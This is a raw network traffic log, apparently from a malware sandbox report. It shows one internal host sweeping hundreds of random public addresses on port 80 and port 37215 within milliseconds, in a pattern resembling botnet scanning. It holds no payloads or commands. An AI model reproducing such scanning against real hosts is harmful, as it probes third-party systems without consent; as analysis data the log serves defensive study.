Dec 3, 2024 21:30:43.104371071 CET	59010	80	192.168.2.23	188.155.110.245
Dec 3, 2024 21:30:43.104376078 CET	59010	80	192.168.2.23	104.31.37.227
Dec 3, 2024 21:30:43.104376078 CET	59010	80	192.168.2.23	193.44.229.197
Dec 3, 2024 21:30:43.104377985 CET	59010	80	192.168.2.23	79.210.75.195
Dec 3, 2024 21:30:43.104398012 CET	59010	80	192.168.2.23	151.82.151.243
Dec 3, 2024 21:30:43.104437113 CET	59010	80	192.168.2.23	169.134.121.98
Dec 3, 2024 21:30:43.104439020 CET	59010	80	192.168.2.23	79.195.66.21
Dec 3, 2024 21:30:43.104443073 CET	59010	80	192.168.2.23	31.5.211.112
Dec 3, 2024 21:30:43.104579926 CET	59010	80	192.168.2.23	47.152.168.166
Dec 3, 2024 21:30:43.104585886 CET	59010	80	192.168.2.23	46.118.190.247
Dec 3, 2024 21:30:43.104600906 CET	59010	80	192.168.2.23	202.252.115.215
Dec 3, 2024 21:30:43.104614019 CET	59010	80	192.168.2.23	99.247.20.167
Dec 3, 2024 21:30:43.104614973 CET	59010	80	192.168.2.23	80.184.190.198
Dec 3, 2024 21:30:43.104628086 CET	59010	80	192.168.2.23	37.51.224.161
Dec 3, 2024 21:30:43.104670048 CET	59010	80	192.168.2.23	25.45.80.84
Dec 3, 2024 21:30:43.104670048 CET	59010	80	192.168.2.23	191.239.209.189
Dec 3, 2024 21:30:43.104684114 CET	59010	80	192.168.2.23	177.231.147.244
Dec 3, 2024 21:30:43.104685068 CET	59010	80	192.168.2.23	147.160.45.159
Dec 3, 2024 21:30:43.104697943 CET	59010	80	192.168.2.23	119.125.71.17
Dec 3, 2024 21:30:43.104705095 CET	59010	80	192.168.2.23	125.67.162.44
Dec 3, 2024 21:30:43.104744911 CET	59010	80	192.168.2.23	18.198.219.140
Dec 3, 2024 21:30:43.104752064 CET	59010	80	192.168.2.23	61.130.122.249
Dec 3, 2024 21:30:43.104765892 CET	59010	80	192.168.2.23	12.43.30.128
Dec 3, 2024 21:30:43.104779005 CET	59010	80	192.168.2.23	160.140.228.224
Dec 3, 2024 21:30:43.104780912 CET	59010	80	192.168.2.23	49.148.24.253
Dec 3, 2024 21:30:43.104784966 CET	59010	80	192.168.2.23	74.59.6.128
Dec 3, 2024 21:30:43.104796886 CET	59010	80	192.168.2.23	135.90.47.117
Dec 3, 2024 21:30:43.104799032 CET	59010	80	192.168.2.23	104.1.3.73
Dec 3, 2024 21:30:43.104799032 CET	59010	80	192.168.2.23	157.208.98.153
Dec 3, 2024 21:30:43.104825020 CET	59010	80	192.168.2.23	180.61.174.69
Dec 3, 2024 21:30:43.104827881 CET	59010	80	192.168.2.23	63.199.237.222
Dec 3, 2024 21:30:43.104850054 CET	59010	80	192.168.2.23	132.69.55.117
Dec 3, 2024 21:30:43.104851961 CET	59010	80	192.168.2.23	64.250.59.180
Dec 3, 2024 21:30:43.104857922 CET	59010	80	192.168.2.23	44.235.118.62
Dec 3, 2024 21:30:43.104875088 CET	59010	80	192.168.2.23	145.127.217.169
Dec 3, 2024 21:30:43.104880095 CET	59010	80	192.168.2.23	47.121.103.197
Dec 3, 2024 21:30:43.104880095 CET	59010	80	192.168.2.23	160.218.230.94
Dec 3, 2024 21:30:43.104888916 CET	59010	80	192.168.2.23	181.50.72.37
Dec 3, 2024 21:30:43.104893923 CET	59010	80	192.168.2.23	154.224.94.113
Dec 3, 2024 21:30:43.104895115 CET	59010	80	192.168.2.23	97.36.193.190
Dec 3, 2024 21:30:43.104895115 CET	59010	80	192.168.2.23	79.182.178.2
Dec 3, 2024 21:30:43.104918957 CET	59010	80	192.168.2.23	158.21.135.97
Dec 3, 2024 21:30:43.104923010 CET	59010	80	192.168.2.23	181.152.75.12
Dec 3, 2024 21:30:43.104927063 CET	59010	80	192.168.2.23	195.66.119.48
Dec 3, 2024 21:30:43.104933977 CET	59010	80	192.168.2.23	117.26.181.255
Dec 3, 2024 21:30:43.104933977 CET	59010	80	192.168.2.23	175.29.215.92
Dec 3, 2024 21:30:43.104942083 CET	59010	80	192.168.2.23	112.13.178.36
Dec 3, 2024 21:30:43.104958057 CET	59010	80	192.168.2.23	2.59.128.247
Dec 3, 2024 21:30:43.104963064 CET	59010	80	192.168.2.23	152.202.152.56
Dec 3, 2024 21:30:43.104963064 CET	59010	80	192.168.2.23	125.176.189.46
Dec 3, 2024 21:30:43.104969978 CET	59010	80	192.168.2.23	67.215.88.157
Dec 3, 2024 21:30:43.104990959 CET	59010	80	192.168.2.23	85.242.219.26
Dec 3, 2024 21:30:43.104990959 CET	59010	80	192.168.2.23	143.98.18.16
Dec 3, 2024 21:30:43.104995966 CET	59010	80	192.168.2.23	65.220.212.230
Dec 3, 2024 21:30:43.105000973 CET	59010	80	192.168.2.23	101.172.216.116
Dec 3, 2024 21:30:43.105010986 CET	59010	80	192.168.2.23	138.176.74.209
Dec 3, 2024 21:30:43.105010986 CET	59010	80	192.168.2.23	64.215.119.122
Dec 3, 2024 21:30:43.105017900 CET	59010	80	192.168.2.23	185.38.173.109
Dec 3, 2024 21:30:43.105027914 CET	59010	80	192.168.2.23	79.137.21.190
Dec 3, 2024 21:30:43.105031967 CET	59010	80	192.168.2.23	81.59.176.52
Dec 3, 2024 21:30:43.105034113 CET	59010	80	192.168.2.23	185.125.236.89
Dec 3, 2024 21:30:43.105040073 CET	59010	80	192.168.2.23	112.85.112.75
Dec 3, 2024 21:30:43.105052948 CET	59010	80	192.168.2.23	193.67.199.0
Dec 3, 2024 21:30:43.105052948 CET	59010	80	192.168.2.23	64.73.92.129
Dec 3, 2024 21:30:43.105056047 CET	59010	80	192.168.2.23	162.29.180.116
Dec 3, 2024 21:30:43.105062962 CET	59010	80	192.168.2.23	8.199.105.51
Dec 3, 2024 21:30:43.105073929 CET	59010	80	192.168.2.23	53.82.229.144
Dec 3, 2024 21:30:43.105074883 CET	59010	80	192.168.2.23	221.85.148.46
Dec 3, 2024 21:30:43.105088949 CET	59010	80	192.168.2.23	201.100.236.89
Dec 3, 2024 21:30:43.105091095 CET	59010	80	192.168.2.23	176.126.130.66
Dec 3, 2024 21:30:43.105098963 CET	59010	80	192.168.2.23	153.132.74.229
Dec 3, 2024 21:30:43.105099916 CET	59010	80	192.168.2.23	173.40.198.100
Dec 3, 2024 21:30:43.105113983 CET	59010	80	192.168.2.23	165.121.137.184
Dec 3, 2024 21:30:43.105114937 CET	59010	80	192.168.2.23	81.166.108.57
Dec 3, 2024 21:30:43.105114937 CET	59010	80	192.168.2.23	18.170.228.113
Dec 3, 2024 21:30:43.105123997 CET	59010	80	192.168.2.23	158.6.162.146
Dec 3, 2024 21:30:43.105133057 CET	59010	80	192.168.2.23	51.106.115.217
Dec 3, 2024 21:30:43.105134964 CET	59010	80	192.168.2.23	209.156.95.132
Dec 3, 2024 21:30:43.105139017 CET	59010	80	192.168.2.23	164.75.8.233
Dec 3, 2024 21:30:43.105142117 CET	59010	80	192.168.2.23	25.229.59.163
Dec 3, 2024 21:30:43.105148077 CET	59010	80	192.168.2.23	178.213.17.7
Dec 3, 2024 21:30:43.105158091 CET	59010	80	192.168.2.23	103.54.151.1
Dec 3, 2024 21:30:43.105169058 CET	59010	80	192.168.2.23	181.52.60.174
Dec 3, 2024 21:30:43.105178118 CET	59010	80	192.168.2.23	134.52.33.141
Dec 3, 2024 21:30:43.105190039 CET	59010	80	192.168.2.23	74.204.164.212
Dec 3, 2024 21:30:43.105190039 CET	59010	80	192.168.2.23	171.136.214.248
Dec 3, 2024 21:30:43.105201006 CET	59010	80	192.168.2.23	220.153.200.130
Dec 3, 2024 21:30:43.105207920 CET	59010	80	192.168.2.23	174.175.130.210
Dec 3, 2024 21:30:43.105210066 CET	59010	80	192.168.2.23	39.219.178.204
Dec 3, 2024 21:30:43.105212927 CET	59010	80	192.168.2.23	148.143.186.123
Dec 3, 2024 21:30:43.105222940 CET	59010	80	192.168.2.23	161.141.72.190
Dec 3, 2024 21:30:43.105225086 CET	59010	80	192.168.2.23	66.32.201.184
Dec 3, 2024 21:30:43.105232954 CET	59010	80	192.168.2.23	86.122.140.110
Dec 3, 2024 21:30:43.105237007 CET	59010	80	192.168.2.23	183.216.95.142
Dec 3, 2024 21:30:43.105246067 CET	59010	80	192.168.2.23	152.81.18.137
Dec 3, 2024 21:30:43.105246067 CET	59010	80	192.168.2.23	200.193.170.175
Dec 3, 2024 21:30:43.105253935 CET	59010	80	192.168.2.23	180.135.72.62
Dec 3, 2024 21:30:43.105256081 CET	59010	80	192.168.2.23	65.102.140.25
Dec 3, 2024 21:30:43.105257988 CET	59010	80	192.168.2.23	70.60.103.42
Dec 3, 2024 21:30:43.105268955 CET	59010	80	192.168.2.23	220.234.189.41
Dec 3, 2024 21:30:43.105271101 CET	59010	80	192.168.2.23	84.220.151.92
Dec 3, 2024 21:30:43.105281115 CET	59010	80	192.168.2.23	197.2.95.160
Dec 3, 2024 21:30:43.105289936 CET	59010	80	192.168.2.23	13.119.183.35
Dec 3, 2024 21:30:43.105297089 CET	59010	80	192.168.2.23	35.110.137.72
Dec 3, 2024 21:30:43.105299950 CET	59010	80	192.168.2.23	217.124.234.0
Dec 3, 2024 21:30:43.105310917 CET	59010	80	192.168.2.23	14.45.60.246
Dec 3, 2024 21:30:43.105313063 CET	59010	80	192.168.2.23	142.128.105.41
Dec 3, 2024 21:30:43.105325937 CET	59010	80	192.168.2.23	177.189.118.104
Dec 3, 2024 21:30:43.105348110 CET	59010	80	192.168.2.23	69.195.1.20
Dec 3, 2024 21:30:43.105351925 CET	59010	80	192.168.2.23	96.108.67.219
Dec 3, 2024 21:30:43.105355978 CET	59010	80	192.168.2.23	60.121.215.27
Dec 3, 2024 21:30:43.105359077 CET	59010	80	192.168.2.23	152.205.232.0
Dec 3, 2024 21:30:43.105374098 CET	59010	80	192.168.2.23	222.216.179.147
Dec 3, 2024 21:30:43.105379105 CET	59010	80	192.168.2.23	53.153.132.229
Dec 3, 2024 21:30:43.105380058 CET	59010	80	192.168.2.23	27.129.68.177
Dec 3, 2024 21:30:43.105386019 CET	59010	80	192.168.2.23	61.247.244.126
Dec 3, 2024 21:30:43.105387926 CET	59010	80	192.168.2.23	79.0.15.191
Dec 3, 2024 21:30:43.105398893 CET	59010	80	192.168.2.23	187.16.176.135
Dec 3, 2024 21:30:43.105400085 CET	59010	80	192.168.2.23	171.130.141.183
Dec 3, 2024 21:30:43.105406046 CET	59010	80	192.168.2.23	36.184.43.209
Dec 3, 2024 21:30:43.105418921 CET	59010	80	192.168.2.23	159.189.164.179
Dec 3, 2024 21:30:43.105424881 CET	59010	80	192.168.2.23	20.105.54.223
Dec 3, 2024 21:30:43.105424881 CET	59010	80	192.168.2.23	93.250.214.35
Dec 3, 2024 21:30:43.105427027 CET	59010	80	192.168.2.23	86.238.242.60
Dec 3, 2024 21:30:43.105427980 CET	59010	80	192.168.2.23	61.127.41.250
Dec 3, 2024 21:30:43.105427980 CET	59010	80	192.168.2.23	213.25.116.231
Dec 3, 2024 21:30:43.105427980 CET	59010	80	192.168.2.23	140.211.71.12
Dec 3, 2024 21:30:43.105428934 CET	59010	80	192.168.2.23	99.39.9.67
Dec 3, 2024 21:30:43.105443001 CET	59010	80	192.168.2.23	184.236.250.11
Dec 3, 2024 21:30:43.105444908 CET	59010	80	192.168.2.23	191.64.43.173
Dec 3, 2024 21:30:43.105458975 CET	59010	80	192.168.2.23	137.20.117.114
Dec 3, 2024 21:30:43.105465889 CET	59010	80	192.168.2.23	41.166.199.136
Dec 3, 2024 21:30:43.105472088 CET	59010	80	192.168.2.23	12.60.250.105
Dec 3, 2024 21:30:43.105478048 CET	59010	80	192.168.2.23	209.11.83.80
Dec 3, 2024 21:30:43.105480909 CET	59010	80	192.168.2.23	157.51.145.239
Dec 3, 2024 21:30:43.105480909 CET	59010	80	192.168.2.23	44.126.255.156
Dec 3, 2024 21:30:43.105487108 CET	59010	80	192.168.2.23	196.82.78.164
Dec 3, 2024 21:30:43.105496883 CET	59010	80	192.168.2.23	126.130.176.86
Dec 3, 2024 21:30:43.105509043 CET	59010	80	192.168.2.23	170.192.12.200
Dec 3, 2024 21:30:43.105509043 CET	59010	80	192.168.2.23	110.91.186.125
Dec 3, 2024 21:30:43.105523109 CET	59010	80	192.168.2.23	163.176.194.162
Dec 3, 2024 21:30:43.105523109 CET	59010	80	192.168.2.23	66.148.200.254
Dec 3, 2024 21:30:43.105540037 CET	59010	80	192.168.2.23	124.218.56.108
Dec 3, 2024 21:30:43.105540037 CET	59010	80	192.168.2.23	137.115.40.177
Dec 3, 2024 21:30:43.105540991 CET	59010	80	192.168.2.23	219.87.75.129
Dec 3, 2024 21:30:43.105551958 CET	59010	80	192.168.2.23	191.196.219.188
Dec 3, 2024 21:30:43.105556965 CET	59010	80	192.168.2.23	153.199.159.24
Dec 3, 2024 21:30:43.105561972 CET	59010	80	192.168.2.23	121.108.187.118
Dec 3, 2024 21:30:43.105566025 CET	59010	80	192.168.2.23	125.34.11.242
Dec 3, 2024 21:30:43.105576038 CET	59010	80	192.168.2.23	195.105.113.57
Dec 3, 2024 21:30:43.105595112 CET	59010	80	192.168.2.23	62.185.42.38
Dec 3, 2024 21:30:43.105596066 CET	59010	80	192.168.2.23	116.46.43.32
Dec 3, 2024 21:30:43.105607986 CET	59010	80	192.168.2.23	142.254.178.19
Dec 3, 2024 21:30:43.105608940 CET	59010	80	192.168.2.23	160.235.6.203
Dec 3, 2024 21:30:43.105617046 CET	59010	80	192.168.2.23	208.219.167.182
Dec 3, 2024 21:30:43.105623007 CET	59010	80	192.168.2.23	57.17.226.8
Dec 3, 2024 21:30:43.105631113 CET	59010	80	192.168.2.23	19.113.217.80
Dec 3, 2024 21:30:43.105631113 CET	59010	80	192.168.2.23	141.37.9.1
Dec 3, 2024 21:30:43.105643988 CET	59010	80	192.168.2.23	20.66.53.0
Dec 3, 2024 21:30:43.105643988 CET	59010	80	192.168.2.23	176.111.77.133
Dec 3, 2024 21:30:43.105659008 CET	59010	80	192.168.2.23	186.216.208.104
Dec 3, 2024 21:30:43.105663061 CET	59010	80	192.168.2.23	20.124.85.188
Dec 3, 2024 21:30:43.105664015 CET	59010	80	192.168.2.23	44.118.21.75
Dec 3, 2024 21:30:43.105675936 CET	59010	80	192.168.2.23	125.255.239.164
Dec 3, 2024 21:30:43.105709076 CET	59010	80	192.168.2.23	219.210.6.140
Dec 3, 2024 21:30:43.105715036 CET	59010	80	192.168.2.23	27.102.34.42
Dec 3, 2024 21:30:43.105731010 CET	59010	80	192.168.2.23	24.226.125.233
Dec 3, 2024 21:30:43.105736971 CET	59010	80	192.168.2.23	8.55.198.39
Dec 3, 2024 21:30:43.105748892 CET	59010	80	192.168.2.23	210.168.27.9
Dec 3, 2024 21:30:43.105755091 CET	59010	80	192.168.2.23	51.23.138.176
Dec 3, 2024 21:30:43.105766058 CET	59010	80	192.168.2.23	112.7.208.160
Dec 3, 2024 21:30:43.105767012 CET	59010	80	192.168.2.23	204.12.246.194
Dec 3, 2024 21:30:43.105770111 CET	59010	80	192.168.2.23	163.229.255.63
Dec 3, 2024 21:30:43.105797052 CET	59010	80	192.168.2.23	186.127.219.39
Dec 3, 2024 21:30:43.105802059 CET	59010	80	192.168.2.23	18.66.110.92
Dec 3, 2024 21:30:43.105818987 CET	59010	80	192.168.2.23	60.124.72.121
Dec 3, 2024 21:30:43.105838060 CET	59010	80	192.168.2.23	100.234.240.244
Dec 3, 2024 21:30:43.105838060 CET	59010	80	192.168.2.23	141.197.192.69
Dec 3, 2024 21:30:43.105854988 CET	59010	80	192.168.2.23	175.47.103.167
Dec 3, 2024 21:30:43.105879068 CET	59010	80	192.168.2.23	134.24.133.4
Dec 3, 2024 21:30:43.105889082 CET	59010	80	192.168.2.23	202.239.60.244
Dec 3, 2024 21:30:43.105890036 CET	59010	80	192.168.2.23	216.109.228.205
Dec 3, 2024 21:30:43.105894089 CET	59010	80	192.168.2.23	162.193.217.113
Dec 3, 2024 21:30:43.105910063 CET	59010	80	192.168.2.23	140.152.95.54
Dec 3, 2024 21:30:43.105911970 CET	59010	80	192.168.2.23	97.190.83.101
Dec 3, 2024 21:30:43.105921030 CET	59010	80	192.168.2.23	182.52.199.17
Dec 3, 2024 21:30:43.105921984 CET	59010	80	192.168.2.23	125.22.225.130
Dec 3, 2024 21:30:43.105931044 CET	59010	80	192.168.2.23	89.10.205.73
Dec 3, 2024 21:30:43.105933905 CET	59010	80	192.168.2.23	150.58.16.236
Dec 3, 2024 21:30:43.105936050 CET	59010	80	192.168.2.23	205.54.9.178
Dec 3, 2024 21:30:43.105966091 CET	59010	80	192.168.2.23	186.172.253.53
Dec 3, 2024 21:30:43.105968952 CET	59010	80	192.168.2.23	164.108.165.172
Dec 3, 2024 21:30:43.106179953 CET	59009	37215	192.168.2.23	197.32.51.7
Dec 3, 2024 21:30:43.106215000 CET	59009	37215	192.168.2.23	197.98.182.98
Dec 3, 2024 21:30:43.106240034 CET	59009	37215	192.168.2.23	156.60.99.5
Dec 3, 2024 21:30:43.106240988 CET	59009	37215	192.168.2.23	197.39.38.207
Dec 3, 2024 21:30:43.106267929 CET	59009	37215	192.168.2.23	41.77.191.41
Dec 3, 2024 21:30:43.106271982 CET	59009	37215	192.168.2.23	197.136.90.92
Dec 3, 2024 21:30:43.106271982 CET	59009	37215	192.168.2.23	197.160.104.185
Dec 3, 2024 21:30:43.106287956 CET	59009	37215	192.168.2.23	156.184.92.118
Dec 3, 2024 21:30:43.106291056 CET	59009	37215	192.168.2.23	156.176.87.163
Dec 3, 2024 21:30:43.106302023 CET	59009	37215	192.168.2.23	41.208.39.236
Dec 3, 2024 21:30:43.106304884 CET	59009	37215	192.168.2.23	197.81.51.178
Dec 3, 2024 21:30:43.106307030 CET	59009	37215	192.168.2.23	41.74.15.212
Dec 3, 2024 21:30:43.106307030 CET	59009	37215	192.168.2.23	197.54.134.43
Dec 3, 2024 21:30:43.106319904 CET	59009	37215	192.168.2.23	197.76.218.100
Dec 3, 2024 21:30:43.106321096 CET	59009	37215	192.168.2.23	41.121.170.57
Dec 3, 2024 21:30:43.106337070 CET	59009	37215	192.168.2.23	156.36.164.130
Dec 3, 2024 21:30:43.106342077 CET	59009	37215	192.168.2.23	156.15.248.101
Dec 3, 2024 21:30:43.106343031 CET	59009	37215	192.168.2.23	197.195.210.69
Dec 3, 2024 21:30:43.106353045 CET	59009	37215	192.168.2.23	197.206.237.25
Dec 3, 2024 21:30:43.106355906 CET	59009	37215	192.168.2.23	197.29.107.62
Dec 3, 2024 21:30:43.106357098 CET	59009	37215	192.168.2.23	41.31.168.102
Dec 3, 2024 21:30:43.106369972 CET	59009	37215	192.168.2.23	41.197.178.232
Dec 3, 2024 21:30:43.106373072 CET	59009	37215	192.168.2.23	156.203.209.90
Dec 3, 2024 21:30:43.106375933 CET	59009	37215	192.168.2.23	156.63.221.226
Dec 3, 2024 21:30:43.106389046 CET	59009	37215	192.168.2.23	41.254.17.254
Dec 3, 2024 21:30:43.106389046 CET	59009	37215	192.168.2.23	41.36.11.168
Dec 3, 2024 21:30:43.106412888 CET	59009	37215	192.168.2.23	197.146.51.255
Dec 3, 2024 21:30:43.106415987 CET	59009	37215	192.168.2.23	41.41.84.164
Dec 3, 2024 21:30:43.106415987 CET	59009	37215	192.168.2.23	197.45.56.32
Dec 3, 2024 21:30:43.106426001 CET	59009	37215	192.168.2.23	197.98.116.45
Dec 3, 2024 21:30:43.106441021 CET	59009	37215	192.168.2.23	156.169.141.134
Dec 3, 2024 21:30:43.106446028 CET	59009	37215	192.168.2.23	41.191.109.245
Dec 3, 2024 21:30:43.106486082 CET	59009	37215	192.168.2.23	156.36.107.252
Dec 3, 2024 21:30:43.106486082 CET	59009	37215	192.168.2.23	156.148.164.50
Dec 3, 2024 21:30:43.106512070 CET	59009	37215	192.168.2.23	156.126.74.172
Dec 3, 2024 21:30:43.106512070 CET	59009	37215	192.168.2.23	41.18.41.205
Dec 3, 2024 21:30:43.106528997 CET	59009	37215	192.168.2.23	197.154.81.2
Dec 3, 2024 21:30:43.106528997 CET	59009	37215	192.168.2.23	197.186.124.82
Dec 3, 2024 21:30:43.106538057 CET	59009	37215	192.168.2.23	197.178.68.92
Dec 3, 2024 21:30:43.106538057 CET	59009	37215	192.168.2.23	156.216.224.152
Dec 3, 2024 21:30:43.106548071 CET	59009	37215	192.168.2.23	156.56.10.211
Dec 3, 2024 21:30:43.106549025 CET	59009	37215	192.168.2.23	197.110.94.143
Dec 3, 2024 21:30:43.106551886 CET	59009	37215	192.168.2.23	156.14.81.44
Dec 3, 2024 21:30:43.106559038 CET	59009	37215	192.168.2.23	41.126.113.45
Dec 3, 2024 21:30:43.106569052 CET	59009	37215	192.168.2.23	197.59.33.180
Dec 3, 2024 21:30:43.106569052 CET	59009	37215	192.168.2.23	41.68.40.26
Dec 3, 2024 21:30:43.106570005 CET	59009	37215	192.168.2.23	41.114.146.93
Dec 3, 2024 21:30:43.106585026 CET	59009	37215	192.168.2.23	41.153.127.153
Dec 3, 2024 21:30:43.106599092 CET	59009	37215	192.168.2.23	41.44.9.30
Dec 3, 2024 21:30:43.106614113 CET	59009	37215	192.168.2.23	156.79.99.174
Dec 3, 2024 21:30:43.106621027 CET	59009	37215	192.168.2.23	41.27.126.2
Dec 3, 2024 21:30:43.106631994 CET	59009	37215	192.168.2.23	197.137.40.192
Dec 3, 2024 21:30:43.106633902 CET	59009	37215	192.168.2.23	41.188.120.151
Dec 3, 2024 21:30:43.106635094 CET	59009	37215	192.168.2.23	197.227.233.36
Dec 3, 2024 21:30:43.106658936 CET	59009	37215	192.168.2.23	41.224.14.1
Dec 3, 2024 21:30:43.106669903 CET	59009	37215	192.168.2.23	156.222.132.157
Dec 3, 2024 21:30:43.106679916 CET	59009	37215	192.168.2.23	41.205.102.217
Dec 3, 2024 21:30:43.106681108 CET	59009	37215	192.168.2.23	41.171.10.37
Dec 3, 2024 21:30:43.106687069 CET	59009	37215	192.168.2.23	197.217.233.70
Dec 3, 2024 21:30:43.106693029 CET	59009	37215	192.168.2.23	197.46.248.39
Dec 3, 2024 21:30:43.106695890 CET	59009	37215	192.168.2.23	156.165.226.79
Dec 3, 2024 21:30:43.106707096 CET	59009	37215	192.168.2.23	156.123.56.238
Dec 3, 2024 21:30:43.106719017 CET	59009	37215	192.168.2.23	41.1.22.211
Dec 3, 2024 21:30:43.106719971 CET	59009	37215	192.168.2.23	41.82.59.113
Dec 3, 2024 21:30:43.106720924 CET	59009	37215	192.168.2.23	156.227.69.151
Dec 3, 2024 21:30:43.106722116 CET	59009	37215	192.168.2.23	41.71.59.187
Dec 3, 2024 21:30:43.106735945 CET	59009	37215	192.168.2.23	197.148.229.25
Dec 3, 2024 21:30:43.106753111 CET	59009	37215	192.168.2.23	156.179.85.57
Dec 3, 2024 21:30:43.106756926 CET	59009	37215	192.168.2.23	197.114.186.104
Dec 3, 2024 21:30:43.106762886 CET	59009	37215	192.168.2.23	41.248.249.245
Dec 3, 2024 21:30:43.106780052 CET	59009	37215	192.168.2.23	156.189.129.183
Dec 3, 2024 21:30:43.106780052 CET	59009	37215	192.168.2.23	156.207.193.128
Dec 3, 2024 21:30:43.106781960 CET	59009	37215	192.168.2.23	156.138.221.214
Dec 3, 2024 21:30:43.106782913 CET	59009	37215	192.168.2.23	156.109.35.136
Dec 3, 2024 21:30:43.106787920 CET	59009	37215	192.168.2.23	41.222.130.163
Dec 3, 2024 21:30:43.106787920 CET	59009	37215	192.168.2.23	41.231.81.70
Dec 3, 2024 21:30:43.106787920 CET	59009	37215	192.168.2.23	156.211.5.234
Dec 3, 2024 21:30:43.106801987 CET	59009	37215	192.168.2.23	41.40.175.140
Dec 3, 2024 21:30:43.106801987 CET	59009	37215	192.168.2.23	156.16.159.80
Dec 3, 2024 21:30:43.106813908 CET	59009	37215	192.168.2.23	41.148.117.139
Dec 3, 2024 21:30:43.106813908 CET	59009	37215	192.168.2.23	156.97.16.178
Dec 3, 2024 21:30:43.106818914 CET	59009	37215	192.168.2.23	197.198.44.164
Dec 3, 2024 21:30:43.106820107 CET	59009	37215	192.168.2.23	156.244.183.124
Dec 3, 2024 21:30:43.106825113 CET	59009	37215	192.168.2.23	41.177.233.228
Dec 3, 2024 21:30:43.106842995 CET	59009	37215	192.168.2.23	41.161.235.253
Dec 3, 2024 21:30:43.106859922 CET	59009	37215	192.168.2.23	156.233.176.125
Dec 3, 2024 21:30:43.106868029 CET	59009	37215	192.168.2.23	156.14.208.2
Dec 3, 2024 21:30:43.106868029 CET	59009	37215	192.168.2.23	41.195.126.108
Dec 3, 2024 21:30:43.106869936 CET	59009	37215	192.168.2.23	197.161.35.191
Dec 3, 2024 21:30:43.106875896 CET	59009	37215	192.168.2.23	41.230.27.179
Dec 3, 2024 21:30:43.106875896 CET	59009	37215	192.168.2.23	156.19.113.240
Dec 3, 2024 21:30:43.106878996 CET	59009	37215	192.168.2.23	156.184.57.169
Dec 3, 2024 21:30:43.106889009 CET	59009	37215	192.168.2.23	41.22.230.33
Dec 3, 2024 21:30:43.106889009 CET	59009	37215	192.168.2.23	156.9.118.202
Dec 3, 2024 21:30:43.106898069 CET	59009	37215	192.168.2.23	197.27.45.97
Dec 3, 2024 21:30:43.106900930 CET	59009	37215	192.168.2.23	197.145.21.62
Dec 3, 2024 21:30:43.106914043 CET	59009	37215	192.168.2.23	197.52.137.21
Dec 3, 2024 21:30:43.106931925 CET	59009	37215	192.168.2.23	156.180.106.72
Dec 3, 2024 21:30:43.106940031 CET	59009	37215	192.168.2.23	156.84.84.133
Dec 3, 2024 21:30:43.106942892 CET	59009	37215	192.168.2.23	41.55.79.92
Dec 3, 2024 21:30:43.106955051 CET	59009	37215	192.168.2.23	197.33.48.252
Dec 3, 2024 21:30:43.106955051 CET	59009	37215	192.168.2.23	156.202.169.11
Dec 3, 2024 21:30:43.106971979 CET	59009	37215	192.168.2.23	41.108.197.192
Dec 3, 2024 21:30:43.106972933 CET	59009	37215	192.168.2.23	197.121.144.76
Dec 3, 2024 21:30:43.106972933 CET	59009	37215	192.168.2.23	41.215.19.227
Dec 3, 2024 21:30:43.106982946 CET	59009	37215	192.168.2.23	156.140.59.132
Dec 3, 2024 21:30:43.106982946 CET	59009	37215	192.168.2.23	41.67.171.55
Dec 3, 2024 21:30:43.106998920 CET	59009	37215	192.168.2.23	41.219.10.67
Dec 3, 2024 21:30:43.107023954 CET	59009	37215	192.168.2.23	156.8.190.133
Dec 3, 2024 21:30:43.107029915 CET	59009	37215	192.168.2.23	197.46.242.81
Dec 3, 2024 21:30:43.107036114 CET	59009	37215	192.168.2.23	156.53.220.236
Dec 3, 2024 21:30:43.107038975 CET	59009	37215	192.168.2.23	41.105.221.147
Dec 3, 2024 21:30:43.107038975 CET	59009	37215	192.168.2.23	197.175.229.113
Dec 3, 2024 21:30:43.107043982 CET	59009	37215	192.168.2.23	41.107.132.184
Dec 3, 2024 21:30:43.107055902 CET	59009	37215	192.168.2.23	41.77.223.218
Dec 3, 2024 21:30:43.107059002 CET	59009	37215	192.168.2.23	197.65.230.164
Dec 3, 2024 21:30:43.107069969 CET	59009	37215	192.168.2.23	41.68.208.9
Dec 3, 2024 21:30:43.107075930 CET	59009	37215	192.168.2.23	156.159.125.7
Dec 3, 2024 21:30:43.107080936 CET	59009	37215	192.168.2.23	197.68.109.132
Dec 3, 2024 21:30:43.107086897 CET	59009	37215	192.168.2.23	41.216.163.209
Dec 3, 2024 21:30:43.107101917 CET	59009	37215	192.168.2.23	197.224.237.70
Dec 3, 2024 21:30:43.107115984 CET	59009	37215	192.168.2.23	156.12.79.243
Dec 3, 2024 21:30:43.107120037 CET	59009	37215	192.168.2.23	156.23.248.48
Dec 3, 2024 21:30:43.107122898 CET	59009	37215	192.168.2.23	197.164.182.220
Dec 3, 2024 21:30:43.107131004 CET	59009	37215	192.168.2.23	156.232.160.50
Dec 3, 2024 21:30:43.107136011 CET	59009	37215	192.168.2.23	41.132.163.91
Dec 3, 2024 21:30:43.107144117 CET	59009	37215	192.168.2.23	156.31.8.115
Dec 3, 2024 21:30:43.107144117 CET	59009	37215	192.168.2.23	41.108.42.20
Dec 3, 2024 21:30:43.107158899 CET	59009	37215	192.168.2.23	156.217.140.156
Dec 3, 2024 21:30:43.107161999 CET	59009	37215	192.168.2.23	197.205.235.175
Dec 3, 2024 21:30:43.107161999 CET	59009	37215	192.168.2.23	156.184.147.178
Dec 3, 2024 21:30:43.107178926 CET	59009	37215	192.168.2.23	41.105.236.235
Dec 3, 2024 21:30:43.107184887 CET	59009	37215	192.168.2.23	197.213.235.135
Dec 3, 2024 21:30:43.107196093 CET	59009	37215	192.168.2.23	156.62.52.14
Dec 3, 2024 21:30:43.107211113 CET	59009	37215	192.168.2.23	41.78.147.236
Dec 3, 2024 21:30:43.107213974 CET	59009	37215	192.168.2.23	156.53.248.164
Dec 3, 2024 21:30:43.107214928 CET	59009	37215	192.168.2.23	197.76.113.219
Dec 3, 2024 21:30:43.107220888 CET	59009	37215	192.168.2.23	41.43.222.2
Dec 3, 2024 21:30:43.107230902 CET	59009	37215	192.168.2.23	41.80.121.167
Dec 3, 2024 21:30:43.107234001 CET	59009	37215	192.168.2.23	197.50.26.98
Dec 3, 2024 21:30:43.107234955 CET	59009	37215	192.168.2.23	41.143.71.177
Dec 3, 2024 21:30:43.107244015 CET	59009	37215	192.168.2.23	156.39.211.82
Dec 3, 2024 21:30:43.107254028 CET	59009	37215	192.168.2.23	41.160.191.199
Dec 3, 2024 21:30:43.107259989 CET	59009	37215	192.168.2.23	41.186.241.91
Dec 3, 2024 21:30:43.107270956 CET	59009	37215	192.168.2.23	156.12.222.153
